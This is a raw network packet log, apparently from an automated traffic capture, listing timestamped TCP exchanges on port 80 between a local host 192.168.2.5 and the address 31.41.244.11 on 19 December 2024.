                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.030803919 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.030858994 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.031563044 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.031613111 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.032212019 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.032269955 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.032543898 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.032589912 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033328056 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033377886 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033552885 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033600092 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033725977 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.033771992 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.034542084 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.034588099 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.034595966 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.034641027 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.035598040 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.035631895 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.035645962 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.035671949 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.036423922 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.036513090 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.036725044 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.036771059 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.037372112 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.037417889 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.037595987 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.037645102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.038400888 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.038445950 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.038497925 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.038619995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.039376020 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.039433002 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.039576054 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.039622068 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.040297031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.040342093 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.040502071 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.040548086 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.041304111 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.041348934 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.041589975 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.041632891 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.042208910 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.042251110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.042368889 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.042424917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.043281078 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.043322086 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.043370962 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.043407917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.044331074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.044368982 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.044389963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.044437885 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.045176983 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.045214891 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.045391083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.045430899 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.046086073 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.046128988 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187428951 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187448978 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187462091 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187556028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187686920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.187686920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.188559055 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.188576937 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.188608885 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.188625097 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.189457893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.189474106 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.189502001 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.189527035 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.190308094 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.190352917 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.190495968 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.190540075 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.191345930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.191405058 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.191515923 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.191515923 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.192328930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.192375898 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.192905903 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.192950964 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.193358898 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.193373919 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.193408966 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.193428993 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.194261074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.194315910 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.194458961 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.194509983 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.195183039 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.195225000 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.195336103 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.195394993 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.196142912 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.196192026 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.196295977 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.196341991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.197173119 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.197216988 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.197372913 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.197441101 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.198102951 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.198164940 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.198223114 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.198266983 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.199054956 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.199096918 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.199137926 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.199177027 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.200036049 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.200079918 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.200153112 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.200197935 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.201075077 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.201117992 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.201229095 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.201271057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.201971054 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.202014923 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.202090025 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.202131987 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.202965975 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.203011036 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.203080893 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.203124046 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.203917027 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.203959942 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.204055071 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.204098940 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.204875946 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.204919100 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.205126047 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.205168962 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.205890894 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.205934048 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206053972 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206098080 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206929922 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206944942 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206973076 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.206993103 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.207832098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.207896948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.207973003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.208015919 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.208898067 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.208957911 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209042072 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209085941 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209765911 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209813118 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209928989 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.209975004 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.210743904 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.210788965 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.210916042 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.210958958 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.211813927 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.211829901 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.211858988 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.211874008 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.212660074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.212702990 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.212877035 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.212929964 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.213640928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.213685036 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.213752031 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.213793993 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.214734077 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.214750051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.214776039 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.214791059 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.215734005 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.215776920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.215846062 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.215887070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.216624975 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.216666937 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.216700077 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.216741085 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.217551947 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.217593908 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.217674971 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.217715025 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.218560934 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.218626976 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.218667030 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.218704939 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.219526052 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.219588041 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.219656944 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.219698906 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.220427036 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.220468998 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.220621109 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.220664024 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.221468925 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.221510887 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.221577883 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.221620083 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.222477913 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.222520113 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.222589016 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.222630978 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.223408937 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.223450899 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.223545074 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.223586082 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.224479914 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.224495888 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.224520922 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.224535942 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.225334883 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.225380898 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.225574970 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.225620985 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.226262093 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.226305962 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.226392984 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.226434946 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.227366924 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.227381945 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.227412939 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.227427959 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.228328943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.228344917 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.228375912 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.228401899 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.229182959 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.229245901 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.229319096 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.229361057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.230206966 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.230268955 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.230326891 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.230370998 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.231281996 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.231297016 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.231328011 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.231343031 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.232171059 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.232217073 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.232223034 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.232265949 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.233232975 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.233275890 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.233458996 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.233504057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.234131098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.234174967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.234270096 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.234313965 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.235176086 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.235192060 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.235219002 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.235234022 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.236201048 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.236217022 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.236247063 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.236262083 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.237341881 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.237380028 CET804980131.41.244.11192.168.2.5
